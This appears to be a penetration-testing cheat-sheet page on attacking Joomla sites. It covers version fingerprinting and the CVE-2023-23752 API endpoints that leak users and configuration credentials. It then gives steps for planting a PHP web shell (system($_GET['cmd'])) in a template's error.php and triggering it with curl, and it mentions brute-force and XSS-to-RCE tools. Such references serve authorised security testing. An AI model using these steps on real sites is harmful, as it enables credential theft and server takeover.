Joomla
Joomla Statistics
Joomla collects some anonymous usage statistics such as the breakdown of Joomla, PHP and database versions and server operating systems in use on Joomla installations. This data can be queried via their public API.
Enumeration
Discovery/Footprinting
Check the meta
robots.txt
README.txt
Version
In /administrator/manifests/files/joomla.xml you can see the version.
In /language/en-GB/en-GB.xml you can get the version of Joomla.
In plugins/system/cache/cache.xml you can see an approximate version.
Automatic
In 80,443 - Pentesting Web Methodology is a section about CMS scanners that can scan Joomla.
API Unauthenticated Information Disclosure:
Versions From 4.0.0 to 4.2.7 are vulnerable to Unauthenticated information disclosure (CVE-2023-23752) that will dump creds and other information.
Users:
http://<host>/api/v1/users?public=true
Config File:
http://<host>/api/index.php/v1/config/application?public=true
MSF Module: scanner/http/joomla_api_improper_access_checks
or ruby script: 51334
Brute-Force
You can use this script to attempt to brute force the login.
RCE
If you managed to get admin credentials you can RCE inside of it by adding a snippet of PHP code to gain RCE. We can do this by customizing a template.
Click on
Templates
on the bottom left underConfiguration
to pull up the templates menu.Click on a template name. Let's choose
protostar
under theTemplate
column header. This will bring us to theTemplates: Customise
page.Finally, you can click on a page to pull up the page source. Let's choose the
error.php
page. We'll add a PHP one-liner to gain code execution as follows:system($_GET['cmd']);
Save & Close
curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id
From XSS to RCE
JoomSploit: Joomla Exploitation Script that elevate XSS to RCE or Others Critical Vulnerabilities. For more info check this post. It provides support for Joomla Versions 5.X.X, 4.X.X, and 3.X.X, and allows to:
Privilege Escalation: Creates an user in Joomla.
(RCE) Built-In Templates Edit: Edit a Built-In Templates in Joomla.
(Custom) Custom Exploits: Custom Exploits for Third-Party Joomla Plugins.
Last updated